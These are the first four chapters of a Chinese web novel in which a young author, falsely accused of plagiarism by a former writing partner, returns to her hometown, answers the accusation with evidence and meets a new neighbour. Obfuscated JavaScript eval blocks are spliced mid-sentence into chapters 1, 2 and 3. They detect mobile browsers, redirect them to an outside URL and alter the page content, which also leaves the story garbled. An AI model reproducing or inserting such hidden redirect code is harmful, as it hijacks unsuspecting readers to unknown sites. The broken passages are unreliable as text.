《你从这里来》 1. Chapter 1 早上八点半，鹿城火车站的热闹程度堪比菜市场。 孟翡拖着一个小巧的行李箱费劲巴拉地从一对正在吵架的情侣间挤出来，终于顺利地站在检票口长队的末尾。 离正式检票还有一会，孟翡掏出手机习惯性地点进微博，主页第一条就是—— 唱完余歌v：我不知道该说什么了，只有被背刺的震惊。念念是我在五年前创作出的角色，我在她身上投入了很多心血，这个角色与这本书虽然很青涩，有着这样那样的问题，都是却是我在那段日子里能拿出的最好了，我真的不忍心看到她受这样的委屈。请大家原谅我的语无伦次。 评论区是整整齐齐的声援。 “支持大大维权，敢抄袭不敢承认吗？希望这样的人永远也火不了……” “念念这个角色一看就被好好打磨过的，那个谁怎么敢的啊，抄了个大的。” “因为某某人江郎才尽嘛，还是余歌大大有实力。” 这样的评论有很多，孟翡耐心地一条一条地向下滑动着。 其实这两天她已经看过很多次这个博文了，熟悉到一闭眼就能默写出来，那几个蹦跶最欢的带节奏的ID名，她也能眼熟得不得了。 其中也夹杂着不一样的声音。 “唱完余歌也没写清猫的书具体抄了什么吧。” “楼上猫猫宁粉，鉴定完毕。你一个猫粉就别来这里找存在感好吗？支持余歌大大维权！” “猫粉愿意看抄袭的书就看去，毕竟品味这种东西不是人人都有的。” “余歌大大都发博两天了，某人还不敢回应，也是蛮搞笑的。” “做贼心虚呗，说得就是你，猫猫宁！” 这条评论是今天早上刚发的，点赞量还不小。 孟翡默默地把这个ID记在心里。 哼，等着瞧吧。 她，孟·猫猫宁·翡，凭什么要心虚？ 周围有人在吃泡面，红烧牛肉的香气混合着车站内特有的味道一股一股地扑在她身上，孟翡轻微地皱皱眉头。 果然，还是别人的泡面最香，尤其是在火车站，孟翡深吸一口气，已经一天多没好好吃东西的她感觉到了久违的饥饿。 肚子不争气地咕噜几声。 “T1688次列车开始检票。”机械的电子音响彻大厅，静止的队伍终于开始移动。 开始检票了，孟翡无奈地放弃了去买泡面的念头，只能反手捏捏背包中的小面包，随着人群踢踢踏踏地向前小步挪着。 绿皮车还是像她记忆中的一样，喧嚣、热闹，有一种独特的人间烟火气。 好吧好吧，再说得通俗一点就是—— 真的好吵而且有点异味。 不过正值暑假伊始，各类车票都有点难买，更何况她还是临时决定回燕城的，能顺利买到这张票，孟翡就已经感觉很满意了，不过就是五个多小时的慢车嘛，她可以的！ 火车上大部分都是返乡的学生，每个人都拎着大箱子，带着电脑包，眼神清澈，脸上洋溢着放假的喜悦微笑。 一脸苦大仇深、面如菜色的孟翡感觉自己和他们格格不入，她麻利地把行李箱搬到架子上，就赶紧缩进座位上摸出手机给孟母发消息。 孟翡：已上车。 没过三秒，孟母的语音通话就打过来了。 “嗯嗯，放心吧，我已经放好行李坐下来了。”她将手机夹在耳边，低声道。 “你这孩子，我当时就说和你一起回去，你偏不让。”听孔里传来孟母的念叨声，孟翡依然有耐心地“嗯嗯”回应几句。 “妈，我真没事啊，不用担心我。” “回去几天就赶紧回鹿城吧，妈妈还能照顾你。”这两天女儿的状态孟母看在眼里，她心疼地抹抹眼角，网上的事情她也看见了，她知道女儿心里不好受，想独自回老家散散心。 孟家本是燕城人，但早在孟翡刚上大学的时候就搬到了省会鹿城。 按孟母的话说是，人往高处走，水往低处流，燕城那个老工业城市环境差，各种资源都不行，还是省会城市发展空间大，而且孟翡也在这边念书。刚好孟母那年从燕城铁厂内退，就迅速买了鹿城的房子，等孟父也退休后，一家人除了逢年过节都不怎么回燕城了。 耳朵里继续传来孟母的念叨，孟翡也继续发扬着“是是是”、“好好好”、“对对对”的功力，成功地将孟母安抚好了。 “到家了给妈妈打电话……” 回答完孟母的最后一个指示，孟翡继续刷着微信消息。 微信置顶聊天中还有一个未读消息。 顾汩：你别急，我刚刚找到旧手机了，我看那傻子也是飘了，她就不怕我们两个还留着记录吗？ 孟翡：谢谢汩汩。 停顿半晌，打字删删改改，孟翡才郑重地敲下这四个字。 她的眼眶有些发热，对面顾汩的名字一会出现一会又被“正在输入中”而代替，想来汩汩也和她一样，删了改、改了删的。 顾汩：咱俩之间还说什么谢谢，小翡你要好好的，听见没，这场仗我们会赢的，知道不？ 孟翡：我不急，就是还有点儿难过。 她又发了一个哭泣猫猫头的表情包。 顾汩：不！你不难过！赶紧拿出你的家伙事儿来，姐们儿要战斗！ 她、顾汩与笔名为“唱完余歌”的于易易是五年多前在网上认识的，顾汩发帖要找两个码字搭子，彼时都是小透明作者的她们一拍即合，迅速组成了码字小组，每天一起打卡。 那时候她和顾汩还在上大学，她念大二，顾汩刚上大一，于易易则比她们大了几岁，正在读研，经常和她俩吐槽实验难搞。 这些年，三个女孩子都在暴风式成长。 汩汩的无限流文一炮而红，孟翡的小说也顺利出版，听说于易易的新书也要卖出网剧版权了。 明明几天前她们还在小群里谈笑风生，她和顾汩都在真诚地为于易易即将卖出版权而开心。 顾汩：苟富贵，勿相忘啊，老于！哈哈哈哈哈哈哈！ 孟翡：是啊，恭喜老于呀，等你请吃饭饭哦！ 于易易：必须滴！忘不了！饭管饱！ 于易易也确实没忘了她，一转头就发了那条似是而非的微博，也没点名是谁抄了她的作品，只是默默点赞了粉丝发的猜测。 “我靠，余歌大大塑造的念念是同类型文的天花板了吧，是谁敢抄的啊？” “还能是谁？猫猫宁呗，她那本《风起》的女主人设和我们念念很像的好吗！” “你在搞笑吗？且不说一本是古言一本是现言，但凡读过两本书的都能感觉到不一样的好吧，总不能所有写升级打怪的大女主小说都是抄余歌的吧？” “刚刚余歌给写猫猫宁的那个评论点赞了，你们看见没！” “看见了！我去！这是正主下场了，贵圈真精彩。” 舆论迅速发酵，网上冲浪达人孟翡和顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375914|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汩傻眼了，轮番联系于易易，结果都是一样。 一个硕大的红色感叹号。 …… 孟翡的手机依然时不时闪动着亮光，她简单地看了看后就从随身带的小包中掏出平板电脑。 文档中密密麻麻的字闪映在她的眼中，在这两天中，孟翡大部分时间都沉浸在被朋友背刺的情绪中，心态格外萎靡，从昨天晚上突发奇想准备回老家时，她才鼓起要反击的心气。 她又没做错什么，凭什么被人指着骂啊。 “反击就对了啊！”顾汩恨铁不成钢的声音从手机里传来，“你构思《风起》的时间确实是比她那本更早，当时你还在群里说过你要写一本不一样的女主呢。” “我知道，我只是感觉易易她这样……” “孟大小姐，你快别感觉了，赶紧准备调色盘去，还等什么呢，对方都骑到你脖子上为非作歹了。” 顾汩知道孟翡在顾虑什么，于易易家境清寒，孟翡是怕反击会搅黄她好不容易才起来的事业。 可是，孟翡又做错什么了？完全是无妄之灾。 “真不知道你拧巴个什么劲儿，你是新闻专业的，怎么会不知道24小时黄金公关？”顾汩的声音也有点沙哑，面对这种局面，她也很不好受，“现在第二个24小时都快过去了，你这边还没啥动静……” 孟翡不愿意和于易易撕破脸，但是暴脾气的她是真为于易易的行为而寒心。 她于易易还没正式卖出版权呢，就先对自己朋友下手了，这样的人，人品实在堪忧。 顾汩的旧手机里还存有五年前的聊天记录，她答应孟翡给她找到记录，作为证据。 列车一路北上，虽然慢一点，但是总能归家。 孟翡的手指灵活地在电子键盘上飞舞，只不过车厢内的信号实在有点差。 但是也能理解，毕竟列车开始“钻山洞”了，大家不约而同地放下手机。坐在她身边的姑娘也停下了在王者峡谷征战的脚步，在硕大的书包里翻找了一阵，掏出一本还没拆塑封的精装书。 孟翡也停下手中的工作，从包里翻出孟母装好的小面包小口嚼着。 列车依然在崇山峻岭间吭哧吭哧地前进，断断续续的山的黑影映照在她脸上，忽明忽暗的光刺得眼晕。 吃完面包，有些乏了，眼皮打架。 她把头靠在车厢，玻璃上还能倒映出旁边姑娘的大部头书，好像是有关艺术展览的，孟翡迷迷瞪瞪地看着玻璃上的倒影。 这姐妹翻书翻得太快了，高克重铜版纸翻动起来有一种令人安心的闷响，配合着绿皮车特有的叮叽哐啷和周围人嘈嘈切切的说话声，孟翡感觉自己好像来到了助眠频道，马上就要安稳地睡过去了。 突然，那阵闷响顿住了，那姑娘应该是看到了感兴趣的内容，仔细阅读起来。 她把脑袋靠在窗边，视线投向那本精装书，那是一篇对新锐策展人的报道。 孟翡打个哈欠，准备重新闭上眼睛休息，那姑娘轻轻地又翻了一页，一个硕大的照片就出现在她眼前。 那是一张很好看的脸，轮廓清爽，眼神明亮，黑发整整齐齐地搭在耳边，西装、领带一丝不苟，嘴边是志在必得的微笑。 不像个艺术家，更像是华尔街精英。 孟翡迷迷糊糊地又瞥了一眼。 薄贺樾？ 薄荷…… 好想喝薄荷奶绿啊啊啊啊啊！ 这是她睡过去前的唯一想法。 2. Chapter 2 鹿城的夏天潮湿闷热，只要出门超过三分钟，一定会全身被汗湿透，而燕城的夏天虽然炎热，但却少了那份难熬的潮意，热就是热，干脆而利落。 下午的日头虽没那么毒辣，但是气温却不容小觑。孟翡擦擦额头上的汗水，拖着行李箱慢吞吞地朝出站口走去。在车上睡了一觉，她感觉现在的自己都还没有完全清醒，头晕晕乎乎的。 轮子时不时被凹凸不平的地面卡住，小城的风带有她熟悉的味道，重新踏上家乡的土地，孟翡感觉自己仿佛回到了自己的学生时代。 她的高中与大学都是在鹿城上的，还没搬家到鹿城的时候，一放假，她也是这样拖着行李箱深一脚浅一脚地奔向家。 一出站，一群人便围了过来。 “打车吗?” “去哪儿啊，打车不……” 孟翡冷着脸摆摆手，熟练地绕过这些人，提着小行李箱拐到另一个巷口。 “师傅，铁鑫小区北门。” “好嘞！” 她低下头摆弄手机，给顾汩与“和谐一家亲”中都发了平安到达的消息。 “姑娘，放暑假了？”出租车司机憨厚的声音响起。 孟翡愣了一下，从鼻子里发出一声“嗯”，然后才后知后觉地弯起嘴角。 她抬头看看熟悉的大街小巷，燕城还是老样子，与她过年时回来看见的一模一样，甚至与她高中放假回家时一模一样，时间在这里仿佛停滞不动，可以将她一秒钟拉回记忆深处。 一下车，孟翡就直奔楼下那家小面馆，天知道她有多想念这家店的咖喱鸡肉盖饭。 还不到饭点，小面馆里只有正在扫地的老板和那条懒洋洋的大黄狗，老风扇兀自吱吱响着，摇头晃脑地带来几分混合着面香和卤香的凉意。 等热气腾腾的盖饭端上来后，那自然是—— 朋友圈先吃。 等她匆匆忙忙发完朋友圈，才开始大快朵颐。 嗯！好吃！还是小时候的味道！ 手机“咕咚”响了几下。 顾汩：不错不错，吃饱了才有力气战斗。 “和谐一家亲”小群里，孟父与孟母都念叨着叫她多喝点水。 孟翡看着这些信息，眉眼舒展，心中的焦躁也被吹散不少。 风扇依然尽职尽责地呼呼摇着头，她咬着勺子歪头刷着手机文档，调色盘还没整理好，孟翡算算自己的进度，又大吃一口汤汁浓郁的米饭。 “老板，两份刀削面，多加点儿香菜，别放辣椒啊，要打包。” 这个声音很熟悉，孟翡朝门口望去。 “哎哟，小翡回来啦，你爸妈呢？”对方抢先开口。 是住对门的谢阿姨。 “就我自己回来了，他俩还在鹿城呢。”孟翡笑笑，这个小区离孟家父母的单位不算远，所以邻居们很多都是爸妈的同事。 对门的谢阿姨也是。 “鹿城现在可热了吧？”谢阿姨熟稔地坐到孟翡对面，一脸慈祥，“我看新闻说今年鹿城热得很呀。” “确实是热。”孟翡抬手假装扇风，夸张地张大嘴巴，“恨不得一直呆在空调房里。” “对了，姨，您怎么这个点儿才吃饭？”谢阿姨家吃饭一向都很准时，孟翡忍不住问道。 “今天收拾家来着，我和你叔也要搬家啦！”谢阿姨爽朗笑笑，仿佛就等着她问一样，“你然然姐在她那边买了房子，叫我和你叔都搬过去呢。” “哇！”孟翡感叹一声，然然姐从小就脑袋灵光，一路念到博士，顺利毕业后就在研究所里打拼。 “时间过得真快啊。”谢阿姨环顾一圈也感慨一句，“以前你们还都是只会打闹的小萝卜头，现在一个一个的，都飞出燕城扎根到大城市了。” 确实是这样，现在的燕城，人口越来越少了，孩子们自打出去读书后就不怎么会回来了，而自从钢铁厂效益下滑，许多职工都选择去其他的城市打拼。 老人们倒是有很多不愿意离开的。 以前红火的燕城逐渐变得安静下来。 谢阿姨的话渐渐隐于嘎吱作响的风扇声中：“其实我还挺舍不得燕城的……” 她继续慈爱地看着还在埋头苦吃的孟翡。 “对了，这几天可能会有点吵到你。”谢阿姨有点不好意思，“我们需要收拾东西，难免有些声音，咱这老房子隔音不好，就怕吵到你。” “没事儿，姨。”孟翡赶紧咽下嘴里的饭，摆摆手，“您和叔正常收拾就行，不吵的。” 谢阿姨搓搓手又想了想。 “小翡啊，过几天我们房子的租客也要来了，等我和他也说一下，叫他搬进来的时候动静小一点儿。” “辛苦姨了。”孟翡吃完盖饭，擦擦嘴，回过头问，“您这么快就把房租出去了啊？” “你也知道，咱这边房可不好卖，尤其是这种旧房。”谢阿姨道，“而且你叔不太愿意卖房子，卖房子就得处理那些家具和书，而那些实木家具和旧书，你叔他可宝贝着呢……” 谢阿姨的丈夫在燕城一中教了半辈子书，而不教课的时候最大的爱好就是看书，这些年来，谢阿姨家的书只进不出，家里像个小型图书馆。 “我说那就索性出租吧，但是我们也没报太大希望，毕竟咱这小地方，谁来呢？不过在中介公司登记了还不到半个月，就有人联系我们来看房了。” “那小伙子可爽快了，直接就拍板儿了。”她喜孜孜地开口，“听说是个搞艺术的，打扮得也很前卫，我第一次见他的时候还吓了一跳呢，真是不懂现在小年轻们的时尚。” 谢阿姨笑了笑继续说：“不过接触下来感觉还不错，人家也说会保护好那些书的，你叔和他谈了谈，也感觉人很靠谱，就赶紧签了合同。” 孟翡吃饱喝足了，面条还没煮好，她就和谢阿姨道别一声，自己先上楼去。 站到自家门口，孟翡心中的踏实感更强了。 呼，回家了，真好啊。 …… 一觉醒来，天光大亮，阳光从浅粉色的窗帘中越过，被柔和成淡淡的颜色，投在小花凉被上，显得温柔又可爱。 孟翡赖了会床才睡眼惺忪地爬起来。 把全麦面包放入面包机中加热，趁这个间隙，她又习惯性地刷开微博，草草地看了一眼。 还是老样子。 关注完自己的“舆情”后，孟翡随意点开一个微博推送的人物专访视频当做自己洗漱的背景音。 “您好，薄先生。作为策展人，您一直致力于打造一个梦幻的艺术空间，我想问一下您对于艺术与生活的理解是什么？” 采访者好像是个实习生，结结巴巴的，提出的问题也有点空泛。 孟翡闭着眼在电动牙刷上挤上牙膏。 受访者是个声音好听的年轻人，他语气平稳，娓娓道来。 “艺术不是高高在上的，它来源于生活，我们每一个人的生活就是属于我们自己的艺术……” 孟翡吐掉口中的泡沫，薄荷味的牙膏叫她头脑清醒了一点。 她苦笑一声，可不就是嘛，她这几天确实“艺术”，属于是写到小说里都会被读者说“这也太抓马”的程度。 昨天晚上她刚刚归置好行李，打扫完家里，还没好好歇口气就收到了顾汩的消息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375915|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾汩：我亲爱的翡，调色盘准备得如何了？ 孟翡：快好了。 孟翡心中警铃大作。 顾汩这丫头一叫她“亲爱的翡”总会伴有着什么不妙的事情。 她耐心地等了几秒。 顾汩：有件事我必须和你说一下，你先做好心理准备。我知道你重感情，这事儿你知道了肯定会难过。 孟翡：……好。 一秒钟后，顾汩的视频就打了过来。 “我托一个朋友打听了，那个网剧平台准备打造大女主IP，你和于易易的书都在备选之中，但是因为你写的是古言，而且情节更复杂一些，为了控制成本，他们最终更倾向于易易那本。”顾汩快言快语，“不过那个什么什么总，倒是更喜欢你那本。” “我不理解，她都马上要签约了，还整这一出干嘛呢？”孟翡无奈地摇摇头，“我都没收到签约的意向通知。” 顾汩也摇摇头。 “我也不理解，真的。不过想想看，于易易可能听到了什么风声，感觉到了危机，怕最后把自己刷掉了吧。” 孟翡无语。 就因为这个莫须有的刷掉吗？ “小翡，你可不要再有什么顾虑了，你倒是给她留着面子了，但是她不愿意放弃这个机会，也不能恶意中伤你吧……” 挂断电话后，孟翡靠在餐桌旁发呆。她咬咬嘴唇，转身看着窗外的星空。 月光轻轻地洒在身上，她的肩膀轻轻地抖动着。 别哭了，孟翡。 她对自己说。 这是她在看见那条微博后第一次落泪。 …… 这一整天都在电脑前忙活，调色盘已经整理得差不多了，孟翡揉揉酸痛的胳膊和脖子，准备点一杯奶茶犒劳一下自己。 谢阿姨的顾虑确实是正确的，老房子隔音的确很差劲，虽然谢阿姨两口子已经很小心地收拾东西了，但是孟翡还是能听到一些乒乒乓乓。 既然想到谢阿姨了，孟翡又不自觉地想到那天她打包的刀削面。 嗯，想吃。 犹豫就会后悔，想吃不如行动。 她抓起手机看看奶茶外卖的进展。 正好，买完刀削面了奶茶也能差不多到手。 非常完美。 …… 确实很完美，孟翡踏着夕阳提着打包盒刚到小区门口就遇见了外卖小哥。一手提着三分糖的薄荷奶绿，一手提着多加香菜的刀削面，她感觉自己是这座城最幸福的小女孩。 杨树叶唰啦啦地跳着舞，几缕阳光也合着舞步在孟翡的白色板鞋上调皮地跳跃着，她加快了步伐，想赶紧回家享受美食。 “小翡回来啦？”在楼下又遇见了谢阿姨。 “嗯，姨，去外面买份晚饭。”她笑笑。 “这两天打扰到你了吧。”谢阿姨有些歉意，“我们已经搬得差不多了，那小伙子今天也过来帮忙了。” 孟翡张张嘴刚要说话。 “哎！小伙子！今天多亏你了！”谢阿姨突然朝不远处挥挥手，孟翡眯起眼也朝那边望去。 她也有点好奇。 一个穿着破洞裤，染着红头发的青年也朝这边挥挥手，耳边还闪着碎钻的光芒。 要不是背景是她家楼下的大垃圾桶，孟翡都以为自己穿越到某个音乐节后台了。 像个即将登台的爱豆。 “你好啊，新邻居！”那红毛朝她咧嘴一笑，小虎牙便调皮地露了出来。 “你好。” 孟翡落荒而逃。 原因无他。 她有潮人恐惧症啊怎么办！ 3. Chapter 3 树影带着蓬勃的生命力倒映在窗帘上，纷纷扰扰的鸟叫声合着孩子们嬉笑玩闹声此起彼伏，时不时还会传来各具特色的饭菜香气。 周日傍晚，正是各类App流量最好的时候。 敲下最后一个标点符号，孟翡却没有如释重负的感觉。 她谨慎地又读了一遍博文，核对了配图，才郑重地点击了发送。 猫猫宁V：针对近日网络上的流言，调色盘如下。 她发的微博很短，但是配图却多，还有一个小小的视频，那是顾汩给她的聊天记录录屏。 记录里很清晰地显示了《长风》的构思是在一月份，而于易易在她那本书的出版后记里很明确地写了自己构思与写作的时间都是在那年的秋天。 她准备的调色盘也很详实，从多个角度进行分析，有理有据。 顾汩：干得漂亮！ 刚发出没几秒，孟翡就收到了顾汩的消息。 她回个表情包，又继续刷着微博，她的粉丝不多，那几个时常撒娇打滚求更新的ID她早已眼熟，这些熟悉的ID前几天还出现在于易易的账号下为她据理力争，现在又出现在她的评论区。 “呜呜呜，猫猫大大你终于回应了！” “@唱完余歌，请您仔细看看吧，我们大女主长风也是被好好塑造的角色，不是所有大女主都是抄袭你家念念的哈。” “猫猫宁，无妄之灾！猫猫宁，体面人！” “余歌除了暗戳戳引导读者黑猫猫以外就没拿出什么证据，楼上说得对，猫猫宁真是无妄之灾。” “我爱猫猫！” “前几天还在骂猫的余歌粉丝呢？出来道歉！” 她看着这些熟悉的ID，眼眶不自觉地湿润了。 顾汩也在自己的作者微博上转载了她的博文，并发了微博。 汩汩不咕V：支持猫猫！ 顾汩的粉丝多一点，没过多久点赞量就上来了，“猫猫宁回应”这个词条还小小地上了一下同城热搜。 “有人在吗？”对门的门铃被摁响了。 无人回答。 过了片刻后，孟翡家的门也被敲响了。 “有人在吗？” 孟翡放下手机，隔着屋门警惕地问是谁。 “噢，您别害怕，我是咱区敬老院的工作人员，您对门邻居今天参加了我们院的敬老文艺活动，这是活动的奖品。”那个女生客气地说道，“他家没人，我就先把这箱牛奶放门口了。等您邻居回来，麻烦您和他讲一下哈。” 等楼道的声音彻底消失，孟翡趴在猫眼上向外看看，一箱贴着区敬老院标志的舒化奶放在对门的门口。 “那个新邻居还挺有爱心的。”孟翡嘀咕一句。 她歪头想想，昨天那匆匆一面，她也没看清新邻居到底长什么模样，唯三有印象的就是红发、虎牙和满耳朵的亮闪闪耳饰。 实在是太眼花缭乱了。 她想了半天，才憋出这一个词来形容。 也不知道人家什么时候回来，她干脆从屋里翻出一个便利贴，简单地写了事情的经过，贴到牛奶箱上。 忙完这些事，孟翡去冲了个澡。 回来就看见—— 于易易：对不起小翡。我知道你绝不会再原谅我了，我那天知道自己要被刷到后实在太害怕了，所以我昏头了…… 前几天她和顾汩发现被于易易删掉好友后还重新申请了好几次加好友，那时候的于易易就像人间蒸发一样。 现在，她发了调色盘，于易易又把她的申请通过了。 孟翡摁摁眉心，长呼一口气，轻轻地咬着嘴唇，又低头抿了一口牛奶。 她只感觉可笑。 孟翡没有回复，只是攥着手机耐心地等着于易易的下一条消息。 恰到好处的温热及时地抚慰了焦躁的心。 于易易：是我做错了，对不起。 许久后，于易易给她发了这个。 孟翡静静地坐在沙发上，看着手机屏幕亮了又暗下去，她一把抓起手机点开资料页，迅速点击了“删除联系人”。 一夜无眠。 孟翡深吸一口清晨的空气，是新的一天了。 …… 等她醒来时已经是下午两点了，孟翡迷迷糊糊地拿过手机看看时间，然后发出尖锐暴鸣。 白天睡了这么长时间，今天晚上又该睡不着了吧。 罢了罢了。 什么是开启新的一天的最好方式呢？ 那就是吃一顿合胃口的早饭！ 啊！对今天的孟翡来说，是下午茶。 “老板，一份里脊扒饼，多加辣椒！生菜挑一片儿大的！” 只是一会儿没看手机，微信消息就爆满了，基本全是汩汩发的。 “小翡！你看见没？于易易在微博上道歉了。” “我朋友说她那本小说最后还是被拒绝了，啧。” “其实于易易要是不整出这点幺蛾子来，她的书估计也不会在这最后关头被刷掉。” “恶有恶报，我只能这么说了。” “其实我也有点难受。” “唉，不过也是她自作自受，要是不害你，她也不会落得这样的结果。” “这件事情终于结束了，小翡你什么时候开新文啊？” “催更催更！您的码字搭子已上线……” 孟翡安静地读完了顾汩的信息，手指微微蜷缩起来，塑料袋子窸窸窣窣地响了响，里脊扒饼温暖的香气一阵一阵地袭来。 咕噜。 腹中饥饿。 “再给我加个豆浆吧。” 她转头朝老板笑笑。 孟翡退出微信，转头点开微博。 于易易新发的微博下评论不多，大部分都是表示很惋惜，没想到自己喜欢的作者竟然做了这样的事情。 那些被孟翡记在小本本上的ID一个都没有出现。 那是于易易买的水军，孟翡很早就发现了。 真正的读者微博点开主页都充满了活人气息，有分享生活的，也有点赞各类博文的。但是那几天蹦跶最欢的几个带节奏的账号却不是这样的。 于易易为了坑她，可真是下了不少本钱啊。 …… 上午刚下过雷阵雨，空气中还带着几分水汽和湿润的泥土气息，小巷两侧都栽种着柳树，枝条缱绻地挥着。 孟翡提着饼，嗦着豆浆漫无目的地游荡在小巷子中。 这是她上初中时的必经之路，那时的她和同学一起骑车上下学，路上满是欢声笑语的记忆。 沿着小路继续往前，就是区敬老院了。 今天敬老院好像还在举行什么活动，小小的院子里停满了各种车，几个带着红袖章的志愿者正从车里搬东西。 孟翡咽下最后一口扒饼，将袋子团成一团扔进垃圾桶，刚想提脚走人就发现了人群里有个有些眼熟的红毛。 对门那个潮流新邻居。 她刚出门就看见牛奶已经不见了，想来是被新邻居收回去了。 他今天可不潮流，穿了一件分外朴素的白色T恤，也没带那些叮叮当当的耳饰，正挥汗如雨地搬大米。 旁边的红袖章递给他一瓶矿泉水，想来是手上有汗一时没拿住，瓶子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375916|184053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕噜咕噜地滚到孟翡脚边，被她抢先一步捡了起来。 “是你啊！”他朝孟翡笑了笑，“牛奶我收到了，谢谢你。” 孟翡终于看清了眼前的男子，他有着一双分外明亮的眼睛，嘴角微翘，优越的五官给她一种独特的熟悉感。 “不客气。”她下意识说，想了想又感觉有点尴尬，毕竟牛奶也不是她给的，她只是写了个纸条而已。 “呃，不用谢。” “不是……我的意思是……” 孟翡绝望地闭上眼睛，快住嘴吧。 新邻居又笑了起来，再一次露出了标志性的小虎牙，红发随着他的笑意轻轻地抖动。 “老薄！快过来帮忙！”一个红袖章朝这边喊了一嗓子，“诶？孟翡？” 片刻后，孟翡也加入了搬东西的队伍中。 “孟翡，我可好久没见你了。”张卢脸庞黝黑，笑起来显得格外憨厚，“去年初中同学聚会，咱班才到了十来个人，隔壁班更少，一共才六个，都凑不齐一个包间……” 他吭哧吭哧地接过新邻居递来的矿泉水箱，递给下一个人：“咱燕城年轻人越来越少喽。” “可不是嘛。”孟翡擦擦汗，对着这位老同学点点头，“咱班同学现在都分散在天南海北了，我这还算离得近一点的吧。” “哎！老薄，你是怎么想的啊，怎么突然来我们这小城市？”张卢把话题转向新邻居，“我们这儿的人可都是往出走，就你，来这儿定居。” 新邻居直起身子，也抹了一把脸：“我也是为了工作嘛，而且我感觉燕城挺好的，生活节奏慢，能给我不一样的感觉。” 剩下的物资很快就搬完了，孟翡有点腰疼，但是感受到很强的幸福感。 多做好事，多做运动，都会叫人心情愉快。 她拍拍身上的土，也拧了一瓶水咕咚咕咚地灌下去。 “嘿！卢哥！我也想加入你们当志愿者！”孟翡眼睛亮亮的，望向在一旁休息的张卢。 张卢和新邻居坐在一起，听到她讲话，两个人都朝她望过来。 燕城昼夜温差大，傍晚的风清清浅浅地散在身上，带来几分凉意，干完活，志愿者们三三两两地都走了，一时间院子里只剩下他们三个。 “好啊！我们正缺人呢！”张卢拍拍手，然后推推一旁的青年，“老薄，你去加上孟翡微信，拉她进群里，我手机在楼上充电呢，实在懒得动。” 孟翡摸出手机，迅速地扫码。 对方的头像是一只以月亮为背景的猫。 “您是什么名字？我打个备注。”刚说完，孟翡又一次闭上眼睛，要不是面前还有人，她一定会给自己脑袋邦邦两拳，她到底在说什么啊，好奇怪的语序，好生硬的语气。 这就是潮人恐惧症的症状吗？还是她单纯脑子不好使啊！ “薄荷的薄，祝贺的贺，木字旁加个’越过去’的樾。” 他耐心地说，声音依然带点笑意，微风轻轻地拂过他的头发，微卷的红发柔和地搭在眼前，显得明亮的眼睛更有几分不一样的色彩，他低下头去，给她把自己的名字发过去。 记忆力一向很好的孟翡感觉自己好像错过了什么大事，她把手机塞回口袋，仔细回想。 “薄贺樾？” 这个名字，她曾见过的。 与此同时，孟翡口袋里的手机正疯狂地亮屏。 顾汩：小翡，你在说什么？！ 顾汩：你认真的？ 顾汩：你……算了，你好好休息一下也好。 …… 孟翡上一条消息是：汩汩，我可能以后不会再写小说了。 4. Chapter 4 “薄贺樾？” 孟翡又喃喃地重复了一遍，这个名字她绝对在哪里见过。 “是我。”薄贺樾扬扬手机，又露出小虎牙，明亮的眼睛中带着几分蓬勃的少年气，那股令孟翡感到“恐惧”的潮人气息反而少了一点，像一个清澈的大学生。 孟翡回过神来，不好意思地朝他笑了笑：“我叫孟翡，子皿孟，翡翠的翡。” “好嘞。”薄贺樾修长的手指在屏幕上灵活地点了几下，写好备注，然后抬起头，对上孟翡的眼睛，郑重其事地开口，“很高兴认识你啊，孟翡。” 天色渐暗，晚风微凉，小巷子两旁的路灯也在眨巴眨巴几下后顺利地亮了起来，淡黄色的光柔柔地流在他的红发上，让那张扬明艳的颜色都变得温暖起来。 “我也是，很高兴认识你。”孟翡也咧嘴一笑，面前的男人的确给她一种熟悉感，只不过自己实在想不起来，索性就先放下这个念头。 张卢打个哈欠从台阶上站起来。 “加上好友了？”他又打了个哈欠，好像几天几夜没睡觉一样。 张卢叮嘱薄贺樾：“老薄你别忘了拉她进大群。” “放心吧，忘不了。” 他又转向孟翡：“孟翡，晚上来我家吃鱼肉饺子不？你嫂子今天包饺子，可好吃啦！” “老薄是没这个口福了，他不吃鱼。”张卢恨铁不成钢地瞪了一眼笑眯眯看着他们的薄贺樾，就像他犯了什么十恶不赦的大错一样。 薄贺樾也格外配合地举起手表示投降，然后又朝他抱抱拳，这一套动作行云流水，一看就是平时做惯的，惹得孟翡又翘起嘴角。 张卢大学毕业后就考进他们初中母校当历史老师，对同批进校的一个女老师一见钟情，苦追一年多后终于修成正果。现在的张卢就是一个彻彻底底的老婆控，十句话有八句都不离他媳妇，天天在他们初中同学群炫耀自己的幸福生活。 孟翡揉揉肚子，下午吃的里脊扒饼和那一大杯豆浆以及刚刚灌下去的矿泉水都在阻止她“有口福”的生活。 